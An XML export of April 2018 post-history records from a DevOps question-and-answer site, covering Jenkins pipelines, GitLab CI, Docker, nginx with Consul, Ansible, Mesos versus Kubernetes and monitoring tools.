  <row Id="12079" PostHistoryTypeId="5" PostId="3850" RevisionGUID="e6d943e3-86e7-407d-a7f0-7d7db059ba9a" CreationDate="2018-04-10T08:19:33.207" UserId="707" Comment="added 222 characters in body" Text="My current impression is, Apache Mesos was introduced before the LXC container technology became *easily* available (via Docker).&#xD;&#xA;&#xD;&#xA;So you could implement &quot;your own Apache Mesos Java framework&quot; for example, or use Marathon to do that.&#xD;&#xA;&#xD;&#xA;Now, Marathon seems to support containers as well.&#xD;&#xA;&#xD;&#xA;Question - when would you deploy Java nowadays on/with Mesos/Marathon without contauners? And if you use containers, why should you opt for Mesos instead of for example Kubernetes?&#xD;&#xA;&#xD;&#xA;For example, [here][1] they say in my understanding, k8s ecosystem deployment is easier while with Mesos you would have to opt for the enterprise version of DC/OS. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://logz.io/blog/kubernetes-vs-mesos/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12080" PostHistoryTypeId="5" PostId="3090" RevisionGUID="dff8e391-f00f-4baa-b7df-c7e28ff08b3a" CreationDate="2018-04-10T10:31:05.180" UserId="7328" Comment="Add templatable String" Text="Managed to solve it with the following code:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent { label &quot;master&quot;}&#xD;&#xA;        stages {&#xD;&#xA;            stage('1') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        def tests = [:]&#xD;&#xA;                        for (f in findFiles(glob: '**/html/*.html')) {&#xD;&#xA;                            tests.putAt(&quot;${f}&quot;), {&#xD;&#xA;                                node {&#xD;&#xA;                                    stage(&quot;${f}&quot;) {&#xD;&#xA;                                        echo &quot;${f}&quot;&#xD;&#xA;                                    }&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                        parallel tests&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }       &#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="12081" PostHistoryTypeId="24" PostId="3090" RevisionGUID="dff8e391-f00f-4baa-b7df-c7e28ff08b3a" CreationDate="2018-04-10T10:31:05.180" Comment="Proposed by 7328 approved by 6066 edit id of 671" ContentLicense="CC BY-SA 3.0" />
  <row Id="12084" PostHistoryTypeId="2" PostId="3853" RevisionGUID="fefe7ca5-b628-4161-a1a4-9e4b54aaa418" CreationDate="2018-04-10T12:39:42.407" UserId="3525" Text="The general design pattern is one container = one running service - see the initial comment at [https://docs.docker.com/config/containers/multi-service_container/][1]&#xD;&#xA;&#xD;&#xA;Now, after spending about a year developing a multi-service application relying heavily on docker this is what works for me:&#xD;&#xA;&#xD;&#xA;Avoid creating files inside the container unless it is your storage engine - in which case use volumes (recommended by Docker and also common sense) - we use Elasticsearch for that. &#xD;&#xA;&#xD;&#xA;If I need multiple custom configurations I am trying to either load it from somewhere (DB, Environment) or I mount the configuration as a volume like &#xD;&#xA;&#xD;&#xA;    -v config.yml:/usr/src/app/config.yml&#xD;&#xA;&#xD;&#xA;In general, we have one service = one repository, but sometimes you have to copy all the dependencies in order to just create one script. So we have one repository where these scripts are aggregated and I change the CMD with an environment variable like this:&#xD;&#xA;&#xD;&#xA;    CMD cd /usr/src/app &amp;&amp; python -u $RUN_SCRIPT&#xD;&#xA;&#xD;&#xA;It can be probably improved with a combination of ENTRYPOINT and CMD as described here http://goinbigdata.com/docker-run-vs-cmd-vs-entrypoint/&#xD;&#xA;&#xD;&#xA;Then we use various `docker-compose.yml` files for getting the setup we need. &#xD;&#xA;&#xD;&#xA;For some operations (like DB setup) we either run one container like &#xD;&#xA;&#xD;&#xA;    docker run --network ournetwork init-profiling&#xD;&#xA;&#xD;&#xA;or I can run a command inside that container&#xD;&#xA;&#xD;&#xA;    docker run -it --network ournetwork init-profiling bash&#xD;&#xA;    # run_command.sh&#xD;&#xA;    ^D&#xD;&#xA;&#xD;&#xA;We spent some time minimizing the footprint of containers, they can quickly get bloated. For example, we use a common base image for our python containers. Also, things like `pip freeze` do make sense only if you use a separate virtual environment for each repository/container.&#xD;&#xA;&#xD;&#xA;We do not use swarm/kubernetes for now, so I cannot add any additional guidelines for that. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/config/containers/multi-service_container/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12085" PostHistoryTypeId="2" PostId="3854" RevisionGUID="c03e0a2c-7cd2-4b3b-b59c-dae1735eaa61" CreationDate="2018-04-10T13:35:25.287" UserId="1208" Text="I tried to change docker image and added couple steps for git tag. Below is the answer worked for me,&#xD;&#xA;&#xD;&#xA;    image: maven&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    - build&#xD;&#xA;    - deploy&#xD;&#xA;    - tag&#xD;&#xA;&#xD;&#xA;    maven_build:&#xD;&#xA;    stage: build&#xD;&#xA;&#xD;&#xA;      script:&#xD;&#xA;       - mvn clean package&#xD;&#xA;       artifacts:&#xD;&#xA;      paths:&#xD;&#xA;       - target/*.jar&#xD;&#xA;&#xD;&#xA;      after_script:&#xD;&#xA;       - ls -a&#xD;&#xA;       - cd target &amp;&amp; ls -a&#xD;&#xA;       - git --version&#xD;&#xA;       - git remote remove origin&#xD;&#xA;       - git remote set-url origin https://&quot;username:passwd&quot;@gitlab.com/accountname/projectname&#xD;&#xA;       - git tag -a 1.0.15 -m &quot;Version created by gitlab-ci Build&quot;&#xD;&#xA;       - git push origin 1.0.15&#xD;&#xA;      only:&#xD;&#xA;        - master" ContentLicense="CC BY-SA 3.0" />
  <row Id="12086" PostHistoryTypeId="50" PostId="3552" RevisionGUID="8bb8f008-4409-407e-88e0-95a367334ead" CreationDate="2018-04-10T18:36:42.997" UserId="-1" />
  <row Id="12091" PostHistoryTypeId="2" PostId="3856" RevisionGUID="840e22fd-5e0e-4467-b7b1-2377caf124df" CreationDate="2018-04-11T04:11:55.610" UserId="7320" Text="I am new to nginx, I have configured my consul with nginx.&#xD;&#xA;&#xD;&#xA;It's working but I have few doubts in my configuration.&#xD;&#xA;&#xD;&#xA;here is my configuration  &#xD;&#xA;&#xD;&#xA;    upstream consul {&#xD;&#xA;      server 127.0.0.1:8500;&#xD;&#xA;    } &#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;      listen 80 default_server;&#xD;&#xA;      server_name localhost;&#xD;&#xA;      &#xD;&#xA;      location / {&#xD;&#xA;        proxy_pass http://consul;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;this is working fine if hit http://localhost, in my machine I am able to see consul UI.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But If I change my location to **/consul**, it is giving 404.&#xD;&#xA;&#xD;&#xA;and what is the use of server name, if I change it to **server_name mylocalserver;**&#xD;&#xA;&#xD;&#xA;I think I should be able to run my gttp request on this address http://mylocalserver. but that is also not working." ContentLicense="CC BY-SA 3.0" />
  <row Id="12092" PostHistoryTypeId="1" PostId="3856" RevisionGUID="840e22fd-5e0e-4467-b7b1-2377caf124df" CreationDate="2018-04-11T04:11:55.610" UserId="7320" Text="use of nginx server_name" ContentLicense="CC BY-SA 3.0" />
  <row Id="12093" PostHistoryTypeId="3" PostId="3856" RevisionGUID="840e22fd-5e0e-4467-b7b1-2377caf124df" CreationDate="2018-04-11T04:11:55.610" UserId="7320" Text="&lt;nginx&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12094" PostHistoryTypeId="2" PostId="3857" RevisionGUID="eac0e48d-5e96-4f42-843d-2fd3d7cccf11" CreationDate="2018-04-11T05:27:26.040" UserId="7118" Text="I'm setting up a pipeline that compiles and builds new docker images, and then deploys those images to testing kubernetes cluster. &#xD;&#xA;&#xD;&#xA;I'm using a shell runner. &#xD;&#xA;&#xD;&#xA;I need to setup my `kubectl` client to point to the testing kubernetes cluster. (ie. setting the cluster and context).&#xD;&#xA;&#xD;&#xA;As I understand it - I should only need to run this once. Is there a way to get this to run once, as defined in the `.gitlab-ci.yaml`? Or should I just repeat the set up steps everytime in `before_script`? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12095" PostHistoryTypeId="1" PostId="3857" RevisionGUID="eac0e48d-5e96-4f42-843d-2fd3d7cccf11" CreationDate="2018-04-11T05:27:26.040" UserId="7118" Text="One time/set up jobs on gitlab ci?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12096" PostHistoryTypeId="3" PostId="3857" RevisionGUID="eac0e48d-5e96-4f42-843d-2fd3d7cccf11" CreationDate="2018-04-11T05:27:26.040" UserId="7118" Text="&lt;kubernetes&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12097" PostHistoryTypeId="2" PostId="3858" RevisionGUID="2e2897b9-5991-4131-90a8-92497c231096" CreationDate="2018-04-11T08:36:39.027" UserId="7363" Text="1.U need to add host entry of &quot;mylocalserver&quot; in host file against 127.0.0.1 like &quot;127.0.0.1 mylocalserver&quot;.  &#xD;&#xA;&#xD;&#xA;2.For /consul, there should be &quot;/consul&quot; endpoint in your code to serve your request.&#xD;&#xA;&#xD;&#xA;As per your configuration,&#xD;&#xA;your http://localhost will be served because u have set proxypass for &quot;/&quot;(all).&#xD;&#xA;It will send all requests to application/server and will be served.&#xD;&#xA;&#xD;&#xA;Let me know for any query.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12098" PostHistoryTypeId="2" PostId="3859" RevisionGUID="775acece-e3f6-4df5-9ecc-b5632871d738" CreationDate="2018-04-11T10:03:26.070" UserId="3785" Text="Following is the desire output:&#xD;&#xA;&#xD;&#xA;    domain.com is in gh4.allserevers.com&#xD;&#xA;&#xD;&#xA;The idea is to pass domain name ie **domain.com** in playbook and playbook will lookup its **A record** then check it against the predefined variable. If ip is found in variable then it will display the corresponding key.&#xD;&#xA;&#xD;&#xA;Here is my ansible-playbook role:&#xD;&#xA;&#xD;&#xA;**roles/test/tasks/main.yml**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        ---&#xD;&#xA;        - name: Simple A record (IPV4 address) lookup for domain.com&#xD;&#xA;          set_fact:&#xD;&#xA;             IP: &quot;{{ lookup('dig', 'domain.com.')}}&quot;&#xD;&#xA;          register: output&#xD;&#xA;          tags: test&#xD;&#xA;&#xD;&#xA;        - name: checking if ip belongs to gh4&#xD;&#xA;          debug:&#xD;&#xA;            msg: &quot;domain.com is in gh4&quot;&#xD;&#xA;          when:&#xD;&#xA;            - IP in hosts.gh4&#xD;&#xA;          tags: test&#xD;&#xA;&#xD;&#xA;**roles/test/vars/main.yml**&#xD;&#xA;&#xD;&#xA;        ---&#xD;&#xA;        hosts:&#xD;&#xA;          gh4: [127.0.0.1,127.0.0.2,127.0.0.3,127.0.0.4,127.0.0.5]&#xD;&#xA;          gh5: [127.0.0.7,127.0.0.8]&#xD;&#xA;          gh6: [127.0.0.10,127.0.0.11,127.0.0.12]&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12099" PostHistoryTypeId="1" PostId="3859" RevisionGUID="775acece-e3f6-4df5-9ecc-b5632871d738" CreationDate="2018-04-11T10:03:26.070" UserId="3785" Text="How do I get dict key from ansible playbook variable?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12100" PostHistoryTypeId="3" PostId="3859" RevisionGUID="775acece-e3f6-4df5-9ecc-b5632871d738" CreationDate="2018-04-11T10:03:26.070" UserId="3785" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12101" PostHistoryTypeId="5" PostId="3844" RevisionGUID="894e2fcf-7b43-4154-a52e-54e9d2257b1a" CreationDate="2018-04-11T17:18:19.313" UserId="80" Comment="typo corrected" Text="Trying to run consul on my system.&#xD;&#xA;&#xD;&#xA;Have followed link to download consul:&#xD;&#xA;&#xD;&#xA;[consul and consul-template setup][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    consul agent -server -bootstrap-expect 1 \&#xD;&#xA;        -data-dir /tmp/consul -node=agent-one \&#xD;&#xA;        -bind=127.0.0.1:8500 \&#xD;&#xA;        -client=0.0.0.0 \&#xD;&#xA;        -config-dir /etc/consul.d \&#xD;&#xA;        -ui-dir /opt/consul/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://sonnguyen.ws/install-consul-and-consul-template-in-ubuntu-14-04/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But getting an error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    WARNING: BootstrapExpect Mode is specified as 1; this is the same as Bootstrap mode.&#xD;&#xA;    ==&gt; WARNING: Bootstrap mode enabled! Do not enable unless necessary&#xD;&#xA;    ==&gt; Starting Consul agent...&#xD;&#xA;    ==&gt; Error starting agent: Failed to start Consul server: Failed to start lan serf: Failed to create memberlist: Failed to parse advertise address!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12102" PostHistoryTypeId="4" PostId="3844" RevisionGUID="894e2fcf-7b43-4154-a52e-54e9d2257b1a" CreationDate="2018-04-11T17:18:19.313" UserId="80" Comment="typo corrected" Text="consul throwing an error" ContentLicense="CC BY-SA 3.0" />
  <row Id="12103" PostHistoryTypeId="24" PostId="3844" RevisionGUID="894e2fcf-7b43-4154-a52e-54e9d2257b1a" CreationDate="2018-04-11T17:18:19.313" Comment="Proposed by 80 approved by 40, 7320 edit id of 674" ContentLicense="CC BY-SA 3.0" />
  <row Id="12104" PostHistoryTypeId="2" PostId="3860" RevisionGUID="ece36438-4a91-4ed6-8880-9893e8f71f52" CreationDate="2018-04-11T18:04:17.440" UserId="323" Text="I'm running ansible 2.2, but can upgrade if it helps. &#xD;&#xA;&#xD;&#xA;I saw this: https://github.com/ansible/ansible/issues/12086 and was pretty excited, but it doesn't seem to be in this (or any) version of ansible documentation.&#xD;&#xA;&#xD;&#xA;The problem I'm trying to solve is I've got 1000 users that I need to manage on a centos box. It takes quite a while to run this task serially.  And even more annoying, everything shows up as changed because the &quot;expires&quot; command on the user module always marks the thing as changed. &#xD;&#xA;&#xD;&#xA;this -&gt; http://docs.ansible.com/ansible/latest/user_guide/playbooks_async.html also looked promising, but it took the same amount of time to run each command in the with_items loop and didn't go any faster (I never bothered to wait long enough to get to the end)&#xD;&#xA;&#xD;&#xA;Skipping tasks is fast now (a lot faster than it was in ansible 2.0), if I can't figure out how to make this work in parallel, I think I'll go back and figure out how to skip pointless tasks and if all else fails, I'll write my own module.  But it seems like I should be able to do all this faster in ansible.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12105" PostHistoryTypeId="1" PostId="3860" RevisionGUID="ece36438-4a91-4ed6-8880-9893e8f71f52" CreationDate="2018-04-11T18:04:17.440" UserId="323" Text="Is there a way to run with_items loops in parallel in ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12106" PostHistoryTypeId="3" PostId="3860" RevisionGUID="ece36438-4a91-4ed6-8880-9893e8f71f52" CreationDate="2018-04-11T18:04:17.440" UserId="323" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12107" PostHistoryTypeId="5" PostId="3860" RevisionGUID="5f718910-a347-4b69-a706-30ad091c913e" CreationDate="2018-04-11T18:43:37.480" UserId="323" Comment="added 427 characters in body" Text="I'm running ansible 2.2, but can upgrade if it helps. &#xD;&#xA;&#xD;&#xA;I saw this: https://github.com/ansible/ansible/issues/12086 and was pretty excited, but it doesn't seem to be in this (or any) version of ansible documentation.&#xD;&#xA;&#xD;&#xA;The problem I'm trying to solve is I've got 1000 users that I need to manage on a centos box. It takes quite a while to run this task serially.  And even more annoying, everything shows up as changed because the &quot;expires&quot; command on the user module always marks the thing as changed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;this -&gt; http://docs.ansible.com/ansible/latest/user_guide/playbooks_async.html also looked promising, but it took the same amount of time to run each command in the with_items loop and didn't go any faster (I never bothered to wait long enough to get to the end)&#xD;&#xA;&#xD;&#xA;Skipping tasks is fast now (a lot faster than it was in ansible 2.0), if I can't figure out how to make this work in parallel, I think I'll go back and figure out how to skip pointless tasks and if all else fails, I'll write my own module.  But it seems like I should be able to do all this faster in ansible.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;This is what I want to run in parallel,  `host_authorizations` is a list of usernames and other data.  &#xD;&#xA;&#xD;&#xA;      - name: Create/modify OS user accounts&#xD;&#xA;        user: name={{ item.username }} group=sshusers shell=/bin/bash home=&quot;/home/selinux-modules/{{ item.username }}&quot; state=present expires={{item.expiredate|default(omit)}}&#xD;&#xA;        with_items: &quot;{{ host_authorizations }}&quot;&#xD;&#xA;        tags: full_maintenance&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12117" PostHistoryTypeId="2" PostId="3863" RevisionGUID="7fa7a5f1-d36b-48ce-a0e7-624985bde920" CreationDate="2018-04-12T09:42:27.470" UserId="3785" Text="I am not sure if that is possible or not but you can write same command in bash script&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    ansible-playbook playbookname.yaml &gt; output.txt&#xD;&#xA;&#xD;&#xA;    # Then grep from output.txt what you want&#xD;&#xA;&#xD;&#xA;    grep -A 5 &quot;PLAY&quot; output.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;May not be good way but will achieve what you want.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12123" PostHistoryTypeId="2" PostId="3865" RevisionGUID="c9912efa-b28e-49d1-9805-7ecad9d35688" CreationDate="2018-04-12T13:50:00.640" UserId="615" Text="I have a **Groovy Pipeline** with **Jenkins 2.32.1**&#xD;&#xA;I can read Pipeline definition from&#xD;&#xA;&#xD;&#xA;- Pipeline script&#xD;&#xA;- Pipeline script from SCM (Git, Mercurial or Subversion)&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Is there any method or plugin to read from artifactory?**&#xD;&#xA;&#xD;&#xA;Something like &quot;Pipeline script from Artifactory&quot;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/F49cQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="12124" PostHistoryTypeId="1" PostId="3865" RevisionGUID="c9912efa-b28e-49d1-9805-7ecad9d35688" CreationDate="2018-04-12T13:50:00.640" UserId="615" Text="Is it possible to connect Jenkins Groovy Pipelines with Artifactory?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12125" PostHistoryTypeId="3" PostId="3865" RevisionGUID="c9912efa-b28e-49d1-9805-7ecad9d35688" CreationDate="2018-04-12T13:50:00.640" UserId="615" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12126" PostHistoryTypeId="2" PostId="3866" RevisionGUID="2140e610-c19d-4ce4-9ac0-e90a31aba4cf" CreationDate="2018-04-12T15:02:42.857" UserId="7375" Text="I'm currently trying to atopt my declarative pipeline in the following way:&#xD;&#xA;&#xD;&#xA;I have multiple stages, some apply for all branches, some only for specific names.&#xD;&#xA;&#xD;&#xA;What I'm now searching for is a way to get a when condition for the existance of a branch like this:&#xD;&#xA;&#xD;&#xA;    if branch b exist&#xD;&#xA;       checkout branch b&#xD;&#xA;    else&#xD;&#xA;       checkout branch a&#xD;&#xA;&#xD;&#xA;Sadly I haven't found a solution for it. I'm pretty sure there is a way using the **git plugin** though.&#xD;&#xA;&#xD;&#xA;There's a solution for scripted pipelines. I can't translate them though.&#xD;&#xA;&#xD;&#xA;[scripted pipeline solution][1]&#xD;&#xA;&#xD;&#xA;Can someone help me with this or point me at the right direction?&#xD;&#xA;  [1]: https://stackoverflow.com/questions/19508326/jenkins-git-branch-selection-with-fallback/48579241#comment86569907_48579241" ContentLicense="CC BY-SA 3.0" />
  <row Id="12127" PostHistoryTypeId="1" PostId="3866" RevisionGUID="2140e610-c19d-4ce4-9ac0-e90a31aba4cf" CreationDate="2018-04-12T15:02:42.857" UserId="7375" Text="Jenkins declarative pipeline: use branch if it exist" ContentLicense="CC BY-SA 3.0" />
  <row Id="12128" PostHistoryTypeId="3" PostId="3866" RevisionGUID="2140e610-c19d-4ce4-9ac0-e90a31aba4cf" CreationDate="2018-04-12T15:02:42.857" UserId="7375" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-blueocean&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12132" PostHistoryTypeId="50" PostId="3602" RevisionGUID="917226d1-d3f4-42ac-bb85-772e394bb6d6" CreationDate="2018-04-12T16:12:30.413" UserId="-1" />
  <row Id="12134" PostHistoryTypeId="5" PostId="305" RevisionGUID="d811ce5a-deb9-4968-bd4a-c7ef9f019fa6" CreationDate="2018-04-12T17:14:06.070" UserId="47" Comment="fixed typo" Text="Speaking exclusively from a CI perspective, increasing the number of developers working on a project typically translates into more people working in the same branch.&#xD;&#xA;&#xD;&#xA;Traditional CI systems have a scalability issue in this respect: the probability of breakages/regressions/blockages increases slowing down the integration speed and inviting smaller teams to break off and move on to child branches (i.e. further slowdowns). See https://devops.stackexchange.com/questions/265/how-can-continuous-integration-scale-for-very-large-projects-teams. This plays right along the Mythical Man Month concept.&#xD;&#xA;&#xD;&#xA;The solution I suggest in my answer to that question, a *highly scalable* CI system would enable migration towards true CI - single branch/trunk based integration for entire greater teams (even with huge sizes). &#xD;&#xA;&#xD;&#xA;With everyone of the same page, using the same automated tools/processes and the vast majority of the QA verifications automated inside the CI system itself it becomes much easier to switch roles and focus between team members. The whole development proces becomes smoother, more predictable, more relaxed.&#xD;&#xA;&#xD;&#xA;Bringing new people aboard in such an environment, getting them productive simply by offloading less difficult tasks from the more experienced team members which can then take on more difficult ones is thus easier.&#xD;&#xA;&#xD;&#xA;All of these can be seen, I believe, as soothing the Mythical Man Month concept effects.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12135" PostHistoryTypeId="2" PostId="3868" RevisionGUID="57e666cc-00fb-4f5b-a4e6-ccb7e5d25709" CreationDate="2018-04-12T17:44:22.510" UserId="3319" Text="&quot;ELK&quot; is the acronym for three open source projects: Elasticsearch, Logstash, and Kibana. Elasticsearch is a search and analytics engine. Logstash is a server‑side data processing pipeline that ingests data from multiple sources simultaneously, transforms it, and then sends it to a &quot;stash&quot; like Elasticsearch. Kibana lets users visualize data with charts and graphs in Elasticsearch.&#xD;&#xA;&#xD;&#xA;     How effective is ELK than other Monitoring tools?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12136" PostHistoryTypeId="1" PostId="3868" RevisionGUID="57e666cc-00fb-4f5b-a4e6-ccb7e5d25709" CreationDate="2018-04-12T17:44:22.510" UserId="3319" Text="How effective is ELK than other Monitoring tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12137" PostHistoryTypeId="3" PostId="3868" RevisionGUID="57e666cc-00fb-4f5b-a4e6-ccb7e5d25709" CreationDate="2018-04-12T17:44:22.510" UserId="3319" Text="&lt;monitoring&gt;&lt;logstash&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12138" PostHistoryTypeId="50" PostId="3542" RevisionGUID="d400194e-686f-4dcc-9ccd-f206262be584" CreationDate="2018-04-12T19:14:41.607" UserId="-1" />
  <row Id="12139" PostHistoryTypeId="2" PostId="3869" RevisionGUID="94384417-f803-4dde-91a9-865207aba010" CreationDate="2018-04-12T20:39:07.873" UserId="5989" Text="&#xD;&#xA;We have Web Performance monitoring third party Tool. We are using New Relic..&#xD;&#xA;&#xD;&#xA;However, we are not able to monitor either Internal or External Web services.&#xD;&#xA;&#xD;&#xA;In an assumption, if the web service goes unresponsive, we need to get the alert immediately.. before it drops down the production.&#xD;&#xA;&#xD;&#xA;How can we monitor internal or external web services ? Is there a Third party tool available to monitor the web services." ContentLicense="CC BY-SA 3.0" />
  <row Id="12140" PostHistoryTypeId="1" PostId="3869" RevisionGUID="94384417-f803-4dde-91a9-865207aba010" CreationDate="2018-04-12T20:39:07.873" UserId="5989" Text="How can we monitor internal or external webservices?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12141" PostHistoryTypeId="3" PostId="3869" RevisionGUID="94384417-f803-4dde-91a9-865207aba010" CreationDate="2018-04-12T20:39:07.873" UserId="5989" Text="&lt;monitoring&gt;&lt;performance&gt;&lt;network-monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12142" PostHistoryTypeId="2" PostId="3870" RevisionGUID="a98ff2b3-7997-4d6c-87e3-4b71049436fd" CreationDate="2018-04-12T21:36:24.237" UserId="6635" Text="My application consists of few microservices and web (React) frontend. Basically I have auth microservice, application backend service, various data processing services and frontend rendering server. These are all based on Node.js and are containerized by Docker. &#xD;&#xA;&#xD;&#xA;My production environment platform is [Rancher][1]. In short, Rancher is container management platform which automatically scales your containers among various hosts. &#xD;&#xA;&#xD;&#xA;There is a &quot;high availability&quot; machine which is under full backup and contains Rancher container, its database, load balancers, DNS, and other stuff that needs to be easily backed up and get running. &#xD;&#xA;&#xD;&#xA;All other stateless containers such as various microservices that run my application (which are behind load balancers) are managed and scaled by Rancher and their hosts do not need any backup plans, these are scaled both vertically and horizontally on demand without need of any backup plans or special monitoring (as these are managed by Rancher).&#xD;&#xA;&#xD;&#xA;I am using Mongo, Elasticsearch &amp; Redis as my database services. Some of our other software use mysql and mssql which we planned to migrate into this environment as well. Previously I served static files via Ngnix or Node.js webserver itself. &#xD;&#xA;&#xD;&#xA;All three of my services and static files need to be fully persistent. Can these services data volume share hosts and their filesystems?&#xD;&#xA;&#xD;&#xA;**Which are convenient external volume solutions for data persistence?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://rancher.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12143" PostHistoryTypeId="1" PostId="3870" RevisionGUID="a98ff2b3-7997-4d6c-87e3-4b71049436fd" CreationDate="2018-04-12T21:36:24.237" UserId="6635" Text="Which volume solutions are the most convinient when building Docker &amp; microservices based application?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12144" PostHistoryTypeId="3" PostId="3870" RevisionGUID="a98ff2b3-7997-4d6c-87e3-4b71049436fd" CreationDate="2018-04-12T21:36:24.237" UserId="6635" Text="&lt;docker&gt;&lt;microservices&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12145" PostHistoryTypeId="6" PostId="3870" RevisionGUID="32d80c5b-3668-495a-9060-cbf548b95d6e" CreationDate="2018-04-12T21:46:06.840" UserId="6635" Comment="edited tags" Text="&lt;docker&gt;&lt;microservices&gt;&lt;databases&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12146" PostHistoryTypeId="4" PostId="3870" RevisionGUID="456bd2e6-7219-481f-a19f-08a8306295f2" CreationDate="2018-04-13T01:32:34.020" UserId="47" Comment="fixed typo in title" Text="Which volume solutions are the most convenient when building Docker &amp; microservices based application?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12151" PostHistoryTypeId="5" PostId="3858" RevisionGUID="9207f60b-3faf-4b86-be6f-488184e610d3" CreationDate="2018-04-13T04:07:57.987" UserId="4289" Comment="Improved formatting and grammar." Text="  &#xD;&#xA;&#xD;&#xA; 1. You need to add a host entry of `mylocalserver` in the host file against `127.0.0.1`, like `127.0.0.1 mylocalserver`.  &#xD;&#xA;&#xD;&#xA; 2. For `/consul`, there should be a `/consul` endpoint in your code to serve your request.&#xD;&#xA;&#xD;&#xA;As per your configuration, your `http://localhost` will be served because you have set proxypass for `&quot;/&quot;(all)`. It will send all requests to the application/server and will be served.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12152" PostHistoryTypeId="24" PostId="3858" RevisionGUID="9207f60b-3faf-4b86-be6f-488184e610d3" CreationDate="2018-04-13T04:07:57.987" Comment="Proposed by 4289 approved by 40, 47 edit id of 673" ContentLicense="CC BY-SA 3.0" />
  <row Id="12153" PostHistoryTypeId="2" PostId="3872" RevisionGUID="2104b28b-77bf-49e7-a482-ecda607b2b2f" CreationDate="2018-04-13T04:35:35.967" UserId="228" Text="When developing code on a very large repository, I would like to run multiple builds/tests in parallel in containers. I need to get my repository or some other large directory into the container. If I mount it read/write, the parallel processes will fight each other and I will need to be able to clean after them, there is also issue with privilege escalations on those files. If I mount it read/only then I cannot run processes that write files inside the directory.&#xD;&#xA;&#xD;&#xA;Docker suggest to build a new container with a COPY of the repository, save it as new layer and then start several containers from this new image. Having to make a copy of megabytes of data every time you want to run tests is making it take too long though.&#xD;&#xA;&#xD;&#xA;How can I solve this efficiently?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12154" PostHistoryTypeId="1" PostId="3872" RevisionGUID="2104b28b-77bf-49e7-a482-ecda607b2b2f" CreationDate="2018-04-13T04:35:35.967" UserId="228" Text="How do I make read only mount in Docker container writable?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12155" PostHistoryTypeId="3" PostId="3872" RevisionGUID="2104b28b-77bf-49e7-a482-ecda607b2b2f" CreationDate="2018-04-13T04:35:35.967" UserId="228" Text="&lt;docker&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
